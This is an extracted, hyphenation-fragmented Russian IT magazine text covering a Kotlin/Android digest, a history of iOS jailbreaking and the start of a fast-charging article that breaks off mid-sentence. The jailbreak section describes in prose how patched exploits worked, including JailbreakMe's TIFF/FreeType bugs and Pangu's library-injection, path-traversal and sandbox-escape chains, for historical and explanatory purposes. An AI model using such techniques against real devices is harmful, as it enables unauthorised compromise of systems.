  —  крат кий  рас сказ  о  фун кци ях  Kotlin,
облегча ющих раз работ ку:
Exploring  Easter  functions  in  Kotlin

•  — фун кция — рас ширение всех объ ектов Kotlin, поз воля ет огра ничить
область  видимос ти  или  выпол нить  код  толь ко  в  том  слу чае,  если  объ ект
не равен null:

let

person?.let {

    it.name = "Tony Stark"

}

•  поз воля ет выпол нить код в кон тек сте объ екта:with

val person = with(Person()) {

    name = "Tony Stark"

    age = 52

    this

}

•  — более удоб ный в исполь зовании ана лог with:apply

val person = Person().apply {

    name = "Tony Stark"

    age = 52

}

•  — ана лог apply, внут ри которо го мож но исполь зовать клю чевое сло‐ 
во it:
also

val person = Person().also {

    it.name = "Tony Stark"

    it.age = 52

}

•  — сво его рода ана лог try в Java:use

FileReader("input.txt").use {

    // Read the file

}

•   —  похожая  на  with,  let  и  apply  фун кция,  поз воля ющая  вер нуть  зна‐ 
чение;
run

•  — фун кция для филь тра ции:takeIf

val index = "Kotlin".indexOf('K').takeIf { it > 0 } ?: 0

•  — про тиво полож ность takeIf:takeUnless

val index = "Kotlin".indexOf('K').takeUnless { it < 0 } ?: 0

•   поз воля ет  изме рить  ско рость  выпол нения  бло ка
кода:
measureTimeMillis

val executionTime = measureTimeMillis {

    // Do your task

}

println("Execution Time = $executionTime ms")

Как писать кра сивый и понят ный код на Kotlin

 — как писать кра сивый и понят ный код на Kotlin.
Автор  при водит  нес коль ко  инте рес ных  при меров,  которые  поз воля ют
работать со стан дар тным API Android и популяр ными сто рон ними биб лиоте‐ 
ками в сти ле Kotlin.

Handsome codes with Kotlin

Один  из  при меров  —  биб лиоте ка  Picasso,  тре бующая  соз дания  объ‐ 
екта‐кол бэка, который дол жен реали зовать методы   и 
,  даже  если  один  из  них  не  нужен.  При  помощи  некото рых  трю ков  мож но
добавить  в  Picasso  фун кцию‐рас ширение,  которая  поз волит  исполь зовать
лям бды вмес то объ екта‐кол бэка.

onSuccess() onError(

)

Статья о перег рузке опе рато ров в Kotlin

 — статья о перег рузке опе рато‐ 
ров в Kotlin. То есть о том, как добавить воз можность скла дывать, вычитать,
умно жать, срав нивать, сор тировать и про водить дру гие опе рации над сво ими
или любыми дру гими объ екта ми (с помощью фун кций‐рас ширений).

Operator Overloading and Conventions in Kotlin

Вве дение в раз работ ку при ложе ния для управле ния BLE-устрой -

ства ми и получе ния дан ных от них

 — вве дение в раз работ ку при ложе ния
для  управле ния  BLE‐устрой ства ми  (умные  часы,  лам почки  и  про чий  IoT)
и получе ния от них дан ных.

Bluetooth Low Energy on Android, Part 1

Пе ревод статьи челове ка, при думав шего ста вить m перед полями

в Android

« » — перевод
статьи челове ка, при думав шего ста вить m перед полями в Android.
Я  явля юсь  при чиной  появ ления  вен гер ской  нотации  в  Android

БИБЛИОТЕКИ

 — генера тор типово го шаб лона при ложе ния, сле‐ 
дующе го  парадиг ме  MVP  с  задей ство вани ем  наибо лее  вос тре бован ных
биб лиотек:  RxJava,  Retrofit,  Gson,  Dagger  2,  Butterknife,  Espresso,  Mokito
и дру гих;

• generator‐kotlin‐android

 — тон ко нас тра иваемый SeekBar;• RangeSeekBar
 — прос той в исполь зовании визард для обу чения работе с при‐ 

ложе нием;
• Spotlight

 —  кон цепту аль но  схо жая  со Square  Flow биб лиоте ка,  упро щающая
навига цию меж ду сос тояниями интерфей са;

• Okuki

 — биб лиоте ка для упро щения навига ции меж ду фраг мента ми;• FlowR
 — биб лиоте ка,  сущес твен но  упро щающая  работу  с Camera2

API;
• Fotoapparat

 — рас позна вание лиц в режиме реаль ного вре мени;• FaceDetector
 — диалог выбора фай ла.• FileListerDialog

На этом все.
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X‐MOBILE

Дол гие  годы джей лбрейк был необ ходимой и естес твен ной
про цеду рой  для  боль шинс тва  прод винутых  «яблочни ков».
Одна ко сегод ня даже соз датель Cydia Джей Фри ман (saurik)
кон ста тиру ет смерть джей лбрей ка. Новые ути литы для взло‐ 
ма  выходят  край не  ред ко,  тви ки  не  обновля ются,  а  мно гие
из тех, кто не мог пред ста вить сво ей жиз ни без взло ман ного
iPhone,  теперь  спо кой но  обхо дят ся  без  него.  Как  же  все
это ста ло реаль ностью?

ПОЧЕМУ ПОЯВИЛСЯ ДЖЕЙЛБРЕЙК?

iPhone  (тог да  еще  прос то  iPhone,  единс твен ный  и  непов торимый)  был  дей‐ 
стви тель но  револю цион ным  устрой ством.  На  мно гие  годы  впе ред  он  стал
эта лоном  того,  как  дол жен  выг лядеть  сов ремен ный  смар тфон:  боль шой
экран, отсутс твие физичес ких кно пок, быс трый и удоб ный UI, опти мизи рован‐ 
ный  для  управле ния  паль цем.  Все  это  стан дарты,  которым  сегод ня  сле дует
любой про изво дитель смар тфо нов.

Пер вый iPhone

Проб лема сос тояла толь ко в том, что за исклю чени ем пол ноцен ного бра узе‐ 
ра, муль титач‐жес тов и про игры вате ля, унас ледован ного еще от iPod, пер вый
iPhone не имел и не умел прак тичес ки ничего. Никако го App Store, где мож но
ска чать  при ложе ние  или  игру,  никакой  записи  видео,  ни  сис темы  копиро‐ 
вания‐встав ки. Даже обои на глав ный экран пос тавить нель зя.

Джобс хотел, что бы каж дая прог рамма, каж дая фун кция на его устрой стве
была уни каль на, непов торима и совер шенна. Но раз ве воз можно обес печить
весь спектр пот ребнос тей поль зовате ля  в оди ноч ку,  ког да даже раз рабаты‐ 
ваемый  обра зец,  показан ный  на  пре зен тации,  был  прак тичес ки  нерабо тос‐ 
пособен,  а  ведь  для  демонс тра ции  фун кци ональ нос ти  был  избран  так
называ емый Gold Way?

Стив Джобс пред став ляет пер вый iPhone

В  общем,  сло жилась  парадок саль ная  ситу ация:  есть  устрой ство,  которое
наделе но колос саль ным потен циалом (бла года ря осно ван ной на macOS опе‐ 
раци онной сис теме, высокой про изво дитель нос ти и огромно му, по тем вре‐ 
менам, сен сорно му экра ну), да вот толь ко не уме ет оно прак тичес ки ничего.
Поэто му вско ре пос ле того, как ста ло ясно, что получить пра ва root на устрой‐ 
стве не сос тавля ет осо бого тру да (это   спус тя один надцать дней пос‐ 
ле  релиза  iPhone),  хакеры  начали  думать,  как  сде лать  устрой ство  более
полез ным для его обла дате ля.

уда лось

ПЕРВЫЕ ГОДЫ JAILBREAK

Сам по себе Jailbreak, то есть получе ние прав root в  iOS, по боль шому сче ту
не давал никаких пре иму ществ. Сис тему мож но иссле довать, заменить стан‐ 
дар тные рин гто ны или внес ти прав ки в сис темные кон фигура цион ные фай лы,
но это все. Что бы по‐нас тояще му рас ширить фун кци ональ ность смар тфо на,
нуж ны были при ложе ния, но,  так как ни SDK, ни магази на при ложе ний тог да
не сущес тво вало, их приш лось изоб ретать на колен ке.

Так появил ся Installer — инстал лятор при ложе ний, осно ван ный на сис теме
управле ния пакетов Debian. Чуть поз же ему на сме ну приш ла Cydia, которая
ста ла стан дартом для уста нов ки сто рон него соф та на все пос леду ющие годы.
Во  мно гом  это му  спо собс тво вали  соз датели  авто мати зиро ван ных  инс тру‐ 
мен тов джей лбрей ка, таких как  , которые авто мати чес ки уста нав‐ 
ливали Cydia на устрой ство в сос таве кас томной про шив ки.

PwnageTool

Cydia

Кас томные  про шив ки  на  базе  iOS  выпус кались

вплоть  до  появ ления  устрой ств  с  про цес сорами

А5  (то есть до  iPhone 4S и  iPad 2). Одним из их

сим волов  стал  над кушен ный  ана нас,  пароди‐ 

рующий логотип Apple. Кас томные про шив ки поз‐ 

воляли акти виро вать фун кции, не пре дус мотрен‐ 

ные Apple (нап ример, мно гоза дач ность на iPhone

3G),  отклю чать  ненуж ные  демоны  и  язы ковые

пакеты.  Основной  же  целью  их  соз дания  была

раз лочка телефо нов и уста нов ка Cydia.

2007–2010  годы  спра вед ливо  мож но  наз вать  золотой  эрой  джей лбрей ка.
В  одно  и  то  же  вре мя  мог ло  сущес тво вать  мно жес тво  джей лбрейк‐ути лит
для  одной  и  той  же  вер сии  iOS:  QuickPWN,  RedSn0w,  PwnageTool,  Sn0w‐
Breeze, Star — зна комые наз вания для  поль зовате лей  iPhone  тех  лет. Взло‐ 
мать  устрой ство,  отка тить  его  на  ста рую  вер сию  iOS,  раз лочить  заг рузчик
или модем тог да было про ще прос того, и это делал чуть ли не каж дый вто рой
поль зователь iPhone.

Инс тру мент QuickPWN

Стре митель но  раз вивалось  и  сооб щес тво  раз работ чиков.  Бла года ря фрей‐ 
мвор ку  , поз воля юще му вно сить изме нения в ком понен ты iOS
на лету, раз работ чики мог ли не толь ко писать при ложе ния, но и модифи циро‐ 
вать стан дар тные при ложе ния, раз работан ные Apple.

MobileSubstrate

Та кие модифи кации  получи ли  имя  «тви ки»,  и  с  каж дым днем их  ста нови‐ 
лось  все  боль ше.  Фан тазия  раз работ чиков  казалась  поис тине  бес край ней:
мно гие  шутят,  что  пер вый  Android,  вышед ший  годом  поз же,  —  это  прос то
iPhone с набором джей лбрейк‐тви ков.

В те годы Jailbreak, веро ятно, был очень полезен для Apple. Раз работ чики
сами пред лагали  вари анты решения  тех  или иных  проб лем,  ком пании оста‐ 
валось  толь ко  выбирать  и  внед рять  луч шее.  Релиз  App  Store  в  iPhone  OS
2.0 не при вел ни к кра ху джей лбрей ка, ни к ослабле нию его позиций; все при‐ 
ложе ния в App Store были очень огра ниче ны и малофун кци ональ ны.

Сре ди  пер вых  при ложе ний  в  Cydia  были Mobile‐

Terminal — пер вое и до сих пор самое популяр ное

при ложе ние  для  дос тупа  к  коман дной  стро ке,

BSD  subsystem  —  набор  юникс‐команд,  пор‐ 

тирован ных из BSD, SummerBoard, пред шес твен‐ 

ник  WinterBoard,  прог раммы  для  модифи кации

интерфей са, Nullriver Ringtone Pack — набор кас‐ 

томных  рин гто нов.  Из  игр  были  iPong  и  порт

Doom.

Нас тоящим про рывом стал   — веб‐сайт, исполь зующий уяз вимос‐ 
ти  в  бра узе ре  iOS:  баг  в  обра бот ке  фай лов  фор мата  TIFF  в  iPhone  OS
1.1.1  и  уяз вимость  в  биб лиоте ке  FreeType  (вер сии  iOS  3.1.2–4.0.1  и  4.3–
4.3.3),  которая была нуж на для обра бот ки шриф тов в PDF‐докумен тах. Сайт
опре делял  вер сию  iOS  и  показы вал  либо  спе циаль ным  обра зом  сфор‐ 
мирован ное  изоб ражение  в  фор мате  TIFF,  либо  невиди мый  iFrame  с  PDF
внут ри, который при обра бот ке запус кал код экс пло ита.

JailbreakMe

Часть кода JailbreakMe

Сде лать  джей лбрейк  с  помощью  JailbreakMe  было  нас толь ко  прос то,  что
Apple приш лось заб локиро вать сайт на уров не роуте ров в сво их фир менных
магази нах. Apple  тог да пыталась защитить свои устрой ства,  устра няя самые
оче вид ные баги в новых вер сиях, но казалась бес помощ ной в сво их попыт ках
унич тожить  джей лбрейк.  Поль зовате лей  пре дуп режда ли  о  необ ратимос ти
взло ма и о при нуди тель ной бло киров ке всех таких устрой ств, в реаль нос ти же
откат на ста биль ную вер сию про шив ки не сос тавлял осо бого тру да.

В  2009  году  Apple  попыта лась  объ явить  джей лбрейк  незакон ным,  опи‐ 
раясь на то, что он наруша ет усло вия лицен зион ного сог лашения. Пос ле дли‐ 
тель ного  раз биратель ства  суд  откло нил  этот  иск  и  раз решил  взлом  всех
телефо нов.  Но  суд  не  зап ретил  Apple  вся чес ки  про тиво дей ство вать  это му,
а  уже  с  iPhone  4S  ком пания  из  Купер тино  начала  при нимать  весь ма  серь‐ 
езные защит ные меры.

ПЕРИОД РАСЦВЕТА (IOS 4–8)

В  2011  году  Apple  устра нила  все  извес тные  ошиб ки  в  заг рузчи ке,  а  потому
модели  2010  года  ста ли  пос ледни ми  с  воз можностью  уста нов ки  кас томных
про шивок.  Но  еще  боль шее  вни мание  Apple  уде лила  бло киров ке  анло ка.
Поль зовате ли  iPhone  4  с  некото рыми  вер сиями  модемов  лишились  воз‐ 
можнос ти  отвязки  от  опе рато ра,  в  даль нейшем  это  ста ло  воз можно  толь ко
при помощи прок си‐сим, которые при ходит ся докупать отдель но.

Од нако  хакеров,  выпус кавших  ути литы для  джей лбрей ка, мень ше не  ста‐ 
нови лось. Самые прос тые и оче вид ные уяз вимос ти были,  конеч но, зак рыты,
одна ко iOS взла мыва ли уже через месяц‐два пос ле релиза про шив ки.

Чем боль ше  ста нови лось  поль зовате лей  iPhone,  тем боль ше  появ лялось
тви ков в Cydia. Пер вые ути литы из глав ного неофи циаль ного магази на были
нап равле ны  чаще  все го  на  повер хностную  кас томиза цию  внеш него  вида
и  работу  с  тер миналом,  а  прог раммы,  которые  мож но  было  сво бод но
выложить  в  App  Store,  ушли  отсю да  еще  в  2008–2009  годах.  Но  в  2010–
2015 годах появ лялась без дна раз нооб разных интерфей сных решений. А тви‐ 
ков, акти виру ющих или дезак тивиру ющих какую‐либо фун кцию, было и вов се
неис числи мое количес тво.

Бла года ря MobileSubstrate интерфейс iOS мож но было менять до неуз ‐
нава емос ти

Имен но  в  это  вре мя  намети лись  клю чевые  проб лемы  Cydia.  Извле кать
какую‐либо при быль из при ложе ний было прак тичес ки невоз можно, что сни‐ 
жало качес тво выпус каемо го соф та. Но еще более важ ной для поль зовате лей
была  дру гая  проб лема.  Пер вые  тви ки  нель зя  было  уста нав ливать  на  новые
вер сии  iOS. Конеч но, появ лялось мно жес тво аль тер натив, но в свя зи со все
боль шим раз дувани ем магази на най ти их ста нови лось не так‐то прос то. Меж‐ 
ду  тем  в  App  Store  при ложе ния  поч ти  всег да  были  сов мести мы  с  пре дыду‐ 
щими вер сиями iOS.

Apple  так же  прик ладыва ла  уси лия  для  того,  что бы  убить  Cydia.  Она
не толь ко всерь ез взя лась за повыше ние безопас ности сис темы, но и осна‐ 
щала ОС все боль шей фун кци ональ ностью и новыми API, с помощью которых
раз работ чики получа ли дос туп к воз можнос тям ОС, ранее дос тупным толь ко
пос ле джей лбрей ка.

Раз работ ка джей лбрейк‐ути лит ста нови лась все слож нее, ста рые коман ды
хакеров  прек ращали  свою  работу.  Спас ти  положе ние  попыта лись  китай цы
(Pangu  и  PP  Jailbreak),  но  они  не  смог ли  зна читель но  улуч шить  дело,  и  к
девятой вер сии iOS джей лбрейк уже был на гра ни смер ти.

Нес коль ко  идей,  которые  Apple  поза имс тво вала

у джей лбрейк‐сооб щес тва. Ани миро ван ные обои,

внед ренные  в  iOS  7,  были  ранее  реали зова ны

в  тви ках  LivePapers  и  3DBoard.  Икон ку  часов

ожив ляла ути лита LiveClock. SearchSettings акти‐ 

виро вал  поиск  по  нас трой кам.  Но  самые  извес‐ 

тные  заимс тво вания  —  это  «центр  управле ния»

(SBSettings)  и  панель  мно гоза дач ности  (Auxo

и Dash).

ПОСЛЕДНИЕ ГОДЫ ДЖЕЙЛБРЕЙКА

Ста рания  Apple  при вели  к  тому,  что  джей лбрейк  стал  прос то  невыго ден.
Для обна руже ния и экс плу ата ции новых уяз вимос тей тре бова лись огромные
ресур сы  и  зат раты  вре мени.  Такую работу  уже мало  кто  сог лашал ся  делать
за идею — най ден ные баги мож но было про дать Apple или на чер ном рын ке.

Вмес то  борь бы  с  хакера ми  Apple  начала  перема нивать  их  в  свою  ком‐ 
панию. В начале 2016 года в Apple ушли Chronic  (Уилл Стра фак) и p0sixninja
(Джо шуа Хилл). Тодес ко, раз работ чик ути литы для джей лбрей ка iOS 10, тоже
неод нократ но заяв лял о сот рудни чес тве с «яблочной» коман дой по безопас‐ 
ности. Кро ме того, Apple ини цииро вала прог рамму воз награж дений за отче ты
об уяз вимос тях.

В  iOS  9  появи лась  новая  тех нология  защиты  сис темы  Rootless,  которая
све ла  к  миниму му  шан сы  взлом щиков.  Кро ме  того,  обновле ния,  зак рыва‐ 
ющие уяз вимос ти, ста ли выходить бук валь но через нес коль ко дней пос ле их
обна руже ния,  поэто му  к  момен ту,  ког да  jailbreak‐ути лита,  экс плу ати рующая
уяз вимость, появ лялась на свет, исполь зовать ее уже мало кто мог. Про дол‐ 
жили делать джей лбрейк толь ко те, кто под жидал его на ста рых вер сиях про‐ 
шив ки.

С  выходом  iOS 10  все ста ло еще  хуже. Лука Тодес ко,  на дан ный момент
уже  свер нувший  свою  раз работ ку,  соз дал  инс тру мент  джей лбрей ка  Yalu,
одна ко он сов местим толь ко с 64‐бит ными устрой ства ми, не вклю чая iPhone
7  и  iPhone  7  Plus,  и  толь ко  с  iOS  10–10.2.  Поз днее  надс трой ка  над  Yalu
для iPhone 7 и 7 Plus все‐таки появи лась (mach_portal), одна ко если сам Yalu
находит ся  в  бета‐тес те,  то  mach_portal  ока зал ся  еще  более  нес табиль ным
и  сырым.  Вдо бавок  эти  инс тру мен ты  выпол няли  при вязан ный  джей лбрейк,
который необ ходимо акти виро вать каж дые семь дней, исполь зуя компь ютер.

Не дав но  коман да  KeenLab,  ранее  не  выпус кавшая  ути лит  для  взло мов,
про демонс три рова ла  джей лбрейк  iOS  11  и  iOS  10.3.2  и  заяви ла,  что  он
работа ет на всех устрой ствах. Одна ко опыт прош лых лет под ска зыва ет,  что,
даже  если  это  не  блеф,  раз работ ка  все  рав но  может  не  дой ти  до  обыч ных
поль зовате лей.

KeenLab демонс три рует инс тру мент джей лбрей ка iOS 11

Пос коль ку  количес тво  поль зовате лей  Cydia  ста ло  рез ко  сок ращать ся,  раз‐ 
работ ка тви ков так же затуха ет. Если для iOS 9 еще выходи ли дос той ные вни‐ 
мания решения, то в десятой вер сии все ста ло сов сем скуч но: боль шинс тво
раз работ чиков не  захоте ли  утруждать  себя пор тирова нием  тви ков на новую
ОС.

В целом для любите лей джей лбрей ка нас тали не луч шие вре мена. Кто‐то
готов  сми рить ся  с  неудобс тва ми  и  начать  исполь зовать  iOS  без  модифи‐ 
каций и рас ширений, кто‐то перехо дит на аль тер натив ную плат форму. Apple
же  ста рает ся  ком пенси ровать  утра ту,  добав ляя  всё  новые  фун кции  в  свои
про шив ки.

Нем ногие раз работ чики ути лит для джей лбрей ка готовы рас ска зывать о том,
какие уяз вимос ти они исполь зовали для взло ма iOS и как работа ют их инс тру‐ 
мен ты. Но быва ют и исклю чения. В 2016 году хакеры из коман ды Pangu выс‐ 
тупили на  кон ферен ции Black Hat с  ,  пос вящен ной взло му  iOS
вер сий 7, 8 и 9.

пре зен таци ей

Для  взло ма  iOS  7.1  было  дос таточ но  сфор мировать  динами чес кую  биб‐ 
лиоте ку, а затем под писать ее сер тифика том с истекшим сро ком и заг рузить
в  сис темный  про цесс  с  помощью  про писы вания  пути  до  биб лиоте ки  в  сис‐ 
темной перемен ной DYLD_INSERT_LIBRARIES. Далее биб лиоте ка экс плу ати‐ 
рова ла уяз вимость в ядре для получе ния без гра нич ных прав root.

Apple  зак рыла брешь, реали зовав механизм Team  ID  validation,  зап реща‐ 
ющий  заг рузку  сто рон них  биб лиотек.  Одна ко  для  некото рых  сер висов  ком‐ 
пания  сде лала  исклю чение,  чем  и  вос поль зовались  Pangu  для  реали зации
джей лбрей ка  iOS  8.  Pangu  8  внед рялся  в  neagent,  реали зующий  под дер жку
сто рон них VPN‐сер висов.

Apple  испра вила  баг  в  iOS  8.3.  Поэто му  ребята  из  Pangu  пош ли  дру гим
путем и вос поль зовались уяз вимостью в сис теме обме на сооб щени ями XPC,
а  точ нее  реали зации  сис темы  обра бот ки  сооб щений  в  демоне  assetsd.
Это ста рая  как мир ошиб ка  пар синга путей  к фай лам,  называ емая Path  Tra‐
versal  Vulnerability,  —  передав  демону  осо бым  обра зом  сфор мирован ный
путь, мож но было переза писать любой сис темный файл.

Эту  уяз вимость  Apple  зак рыла  в  iOS 9,  и  хакеры  вновь  вер нулись  к  идее
исполь зовать  механизм  заг рузки  внеш них  биб лиотек  и  в  этот  раз  сфор‐ 
мирова ли цепоч ку атак, экс плу ати рующих сра зу нес коль ко уяз вимос тей. Pan‐
gu  9  под клю чал  Developer  DiskImage  (DDI)  с  уста рев шей  уяз вимой  (но  под‐ 
писан ной  клю чом Apple)  вер сией демона  vpnagent,  далее исполь зовал оче‐ 
ред ную  уяз вимость  в  XPC  для  того,  что бы  ско пиро вать  vpnagent  в  сис тему,
под клю чал дебаг гер  к  vpnagent,  в резуль тате  чего в пос ледний мож но было
заг рузить  любую  биб лиоте ку  на  манер  Pangu  7.  Затем  биб лиоте ка  исполь‐ 
зовала уяз вимость в ядре для отклю чения sandbox и получе ния пол ных прав
в сис теме.

ЗАКЛЮЧЕНИЕ

Ког да око ло десяти лет назад пер вый джей лбрейк поз волил пре одо леть все
наложен ные Apple огра ниче ния,  ник то  не  сом невал ся  в  его необ ходимос ти.
Без  джей лбрей ка  iPhone  был  обыч ным  телефо ном,  а  с  ним  прев ращал ся
в нас тоящий кар манный компь ютер.

Вре мена изме нились, смар тфо ны ста ли мей нстри мом, фун кци ональ ность
iOS рас ширилась в разы, а выпуск инс тру мен тов для джей лбрей ка прак тичес‐ 
ки прек ратил ся. Так нужен ли джей лбрейк сегод ня, в мире, где боль шинс тво
вла дель цев iPhone исполь зует его толь ко для обще ния в соц сетях?

Всем  нужен  выбор,  но  каков  он  дол жен  быть?  iOS,  веро ятно,  уни каль на
по сво ему уров ню безопас ности, а без перек рытия джей лбрейк‐уяз вимос тей
это  никог да  не  про изош ло  бы.  Так  что  выбор  сей час  сох ранил ся —  выбор
меж ду откры тостью и защищен ностью.

mailto:mfilonen2@gmail.com
https://web.archive.org/web/20071005150518/http://iphone.fiveforty.net/wiki/index.php/How_to_Escape_Jail
https://en.wikipedia.org/wiki/PwnageTool
http://iphonedevwiki.net/index.php/Cydia_Substrate
https://www.jailbreakme.com/
http://blog.pangu.io/wp-content/uploads/2016/08/us-16-Pangu9-Internals.pdf
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X‐MOBILE

С выходом каж дого нового поколе ния смар тфо нов про цес‐ 
соры  ста новят ся  всё  быс трее,  раз решение  экра на  —  всё
выше,  при ложе ния  —  всё  про жор ливее,  а  акку муля торы...
Акку муля торы всё  те же. Что бы  хоть  как‐то  ком пенси ровать
этот  недос таток,  про изво дите ли  исполь зуют  тех нологии
быс трой  заряд ки.  Но,  кро ме  пре иму ществ,  они  могут  при‐ 
нес ти вла дель цу смар тфо на мас су проб лем — от баналь ной
несов мести мос ти  и  сни жения  сро ка  служ бы  акку муля тора
до сож женных смар тфо нов и бло ков питания.

На  сегод няшний  день  нам  дос тупен  широкий  спектр  про токо лов  заряд ки,
раз рабаты ваемых  и  прод вига емых  раз ными  ком пани ями  и  орга низа циями.
По воз можнос ти поп робу ем при дер живать ся хро ноло гии.

ОБЫЧНЫЙ USB
USB допус кает  ток  не более 500 мА при  нап ряжении 5 В. Лишь мно го  поз‐ 
днее,  с  выходом  спе цифи кации  USB  3.0,  мак сималь ный  ток  был  под нят
до  900  мА.  Обыч ным  кно поч ным  телефо нам,  которые  ста ли  выходить  не  с
собс твен ными разъ ема ми для заряда, а со ште кера ми mini‐, а потом и micro‐
USB, впол не хва тало неболь шой мощ ности.

Все изме нилось  с  выходом смар тфо нов,  емкость  акку муля торов  которых
в  разы  пре выша ла  отно ситель но  неболь шую  емкость  батарей  кно поч ных
телефо нов.  Даже  неболь шие  по  сов ремен ным  мер кам  акку муля торы
с емкостью 1500 мА ⋅ ч уже хотелось заряжать быс трее, чем за 4–4,5 ч (вре мя
с  уче том  потерь  при  заряд ке  и  естес твен ного  замед ления  ско рос ти  заряда
пос ле  80%). Воз никла  необ ходимость  каким‐то  обра зом передать боль ший
ток заряда по стан дар тно му кабелю, при этом не спа лив слу чай но кон трол лер
USB, если устрой ство под клю чат к компь юте ру.

USB BATTERY CHARGING REVISION 1.2 (BC1.2)
Этот  стан дарт  был  при нят  в  далеком  2011  году  и  поз волял  ран ним  устрой‐ 
ствам заряжать ся от разъ емов USB силой тока до 1,5 А при нап ряжении 5 В.
Стан дарт при нят орга низа цией  , поэто му его исполь зование для про‐ 
изво дите лей бес плат но. По сов ремен ным мер кам он весь ма при мити вен: тип
заряд ного устрой ства опре деля ется по нап ряжению на кон тактах D+ и D‐.

USB‐IF

Ссыл ки:
• USB battery charging: it’s harder than it looks
• USB Battery Charging 1.2 Compliance Plan

QUALCOMM QUICK CHARGE 1.0
Был обна родо ван ком пани ей Qualcomm в 2013 году с чип сетами Snapdragon
600 (и, кста ти, исполь зует ся до сих пор в млад ших чип сетах, нап ример Snap‐
dragon 400). Здесь мак сималь ный ток под няли до 2 А. Механизм опре деле ния
заряд ного устрой ства стал зна читель но умнее, поэто му шан сов получить нуж‐ 
ный ток заряда у устрой ств, исполь зующих QC 1.0, ста ло боль ше.

Ссыл ки:
• Qualcomm Quick Charge 1.0 Battery Charger ICs
• Qualcomm Quick Charge 1.0: Less Time Charging, More Time Doing

СТАНДАРТЫ APPLE И SAMSUNG
При мер но  в  то  же  вре мя  Samsung  и  Apple  парал лель но  раз работа ли  свои
собс твен ные  схе мы  опре деле ния  «пра виль ных»  заряд ных  устрой ств.  Так,
у Apple появи лись устрой ства клас са Apple 1.0A  (поз днее к ним добави лись
Apple 2.1A), которые опре деля ли наличие заряд ного устрой ства соот ветс тву‐ 
ющей  мощ ности  собс твен ным,  несов мести мым  со  спе цифи каци ей  USB‐IF
спо собом. Похожая и несов мести мая схе ма была и у Samsung.

ПЕРВЫЕ УНИВЕРСАЛЬНЫЕ ЗАРЯДНИКИ
Со  вре менем  про изво дите ли  заряд ных  устрой ств  ста ли  делать  попыт ки
как‐то  стан дарти зиро вать  про токо лы.  К  при меру,  вот  этот  монстр‐ось миног
пред лагал пять незави симых выходов, один из которых мог успешно заряжать
iPhone  по  стан дарту  Apple  1A,  вто рой —  iPad  по  стан дарту  Apple  2.1A,  тре‐ 
тий —  план шеты  Samsung,  а  два  дру гих —  все  осталь ные  устрой ства,  сов‐ 
мести мые со спе цифи каци ей USB‐IF.

Мно жес тво разъ емов, есть где запутать ся

Ужас но,  прав да? Мало  того  что  зоопарк  кон некто ров,  нам  еще  и  пред лага‐ 
ется выбирать «пра виль ный» порт, в который его вот кнуть.

Так же сущес тво вали вот такие адап теры.

Уве рен, ты подоб ное не зас тал, но в нашей лабора тории экзем пляр име ется.
В пер вых поколе ниях адап теров прос то‐нап росто замыка лись кон такты Data,
что давало сов мести мость толь ко с USB‐IF (и заод но — с Quick Charge 1.0);
в  пос леду ющих  вер сиях  исполь зовал ся  чип,  который  пытал ся  опре делить,
какое  имен но  устрой ство  под клю чено,  и  выпол нял  необ ходимые  дей ствия,
что бы под клю чен ный телефон или план шет рас познал «быс трую» заряд ку.

На конец,  при мер но  три  года  назад  начали  появ лять ся  заряд ные  устрой‐ 
ства со встро енной логикой опре деле ния наг рузки. Раз нооб разные сис темы
IQ, AIQ и им подоб ные выпол няют единс твен ную фун кцию: опре делить, какое
устрой ство  заряжа ется  —  Apple  (1A,  2.1A),  Samsung  или  соот ветс тву ющее
стан дарту  USB‐IF,  и  сооб щить  устрой ству,  что  оно  под клю чено  имен но
к  заряд ному  устрой ству,  а  не  к  компь юте ру.  Сегод ня  боль шинс тво
более‐менее качес твен ных бло ков питания от незави симых про изво дите лей
обо рудо вано подоб ной схе мой.

За ряд ная стан ция с под дер жкой AIQ

Прав да, бар дак? А ведь мы еще даже не начали говорить о стан дартах «быс‐ 
трой» заряд ки в их сов ремен ном понима нии. Поверь, даль ше будет хуже!

QUALCOMM QUICK CHARGE 2.0
Был    в  2013  году,  но  впер вые  исполь зовал ся  в  устрой ствах
на Snapdragon 800 начиная с 2014 года. Этот стан дарт ока зал ся дол гожите‐ 
лем, пережив два поколе ния про цес соров ком пании Qualcomm: Snapdragon
800 (801, 805) и Snapdragon 808, 810.

анон сирован

Прин ципи аль ное  отли чие  QC  2.0  от  всех  ранее  сущес тво вав ших  стан‐ 
дартов  —  исполь зование  раз личных  ком бинаций  нап ряжения  и  силы  тока
из ряда 5, 9, 12 В и 2 и 1,67 А. Обра ти вни мание: если сила тока может варь‐ 
иро вать ся  в  про цес се  заряда,  то  нап ряжение  может  выбирать ся  толь ко
из фик сирован ного спис ка зна чений 5, 9 или 12 В. К это му мы еще вер немся,
ког да будем рас смат ривать стан дарт сле дующе го поколе ния — QC 3.0.

Для чего вооб ще пот ребова лось под нимать нап ряжение, а не силу тока?
Клю чевой  момент  здесь  —  сов мести мость  с  огромным  пар ком  сущес тву‐ 
ющих аксессу аров, кабелей и заряд ных устрой ств. Дело в том, что на момент
выхода  спе цифи кации  QC  2.0  все  еще  исполь зовал ся  физичес кий  фор мат
разъ емов  USB‐A  на  одном  кон це  и  microUSB  на  дру гом.  Их  спе цифи кация
не под разуме вает переда чу тока, пре выша юще го 2,4 А при нап ряжении 5 В.
Как  извес тно,  теп ловые  потери  в  про водах  рас тут  про пор циональ но  току
и  квад рату  соп ротив ления.  Повыше ние  силы  тока  при  неиз менном  нап‐ 
ряжении 5 В мог ло при вес ти к опас ному наг реву в области разъ емов, избы‐ 
точ ным  теп ловым  потерям  в  самом  кабеле,  перег реву  и  потен циаль ному
выходу из строя заряд ных пор тов — и неп ремен но при вело бы, если бы поль‐ 
зователь брал для заряд ки не ком плектный кабель или ЗУ с фик сирован ным
про водом,  а  дру гой,  слу чай ный шну рок.  Повыше ние  нап ряжения  поз волило
одним махом снять проб лему сов мести мос ти с сущес тву ющи ми про вода ми:
теперь  мак сималь ный  ток  ни  при  каких  обсто ятель ствах  не  пре вышал  зна‐ 
чения 2,4 А, фак тичес ки огра ничи ваясь зна чени ем 2 А.

Впер вые  вмес то  ненадеж ного  ана лого вого  метода  опре деле ния  заряд‐ 
ного  устрой ства  был  исполь зован  метод  циф ровой  ком муника ции  (ведь
обид но было бы сжечь кон трол лер заряда слу чай но попав шим на него нап‐ 
ряжени ем в 12 В). В целом исполь зование ком бинации из план шета/телефо‐ 
на  с  QC  2.0  и  соот ветс тву юще го  заряд ного  устрой ства  давало  неп лохую
гаран тию, что заряд ка пой дет имен но по быс тро му про токо лу.

Кста ти, мак сималь ный ток пода ется по стан дарту
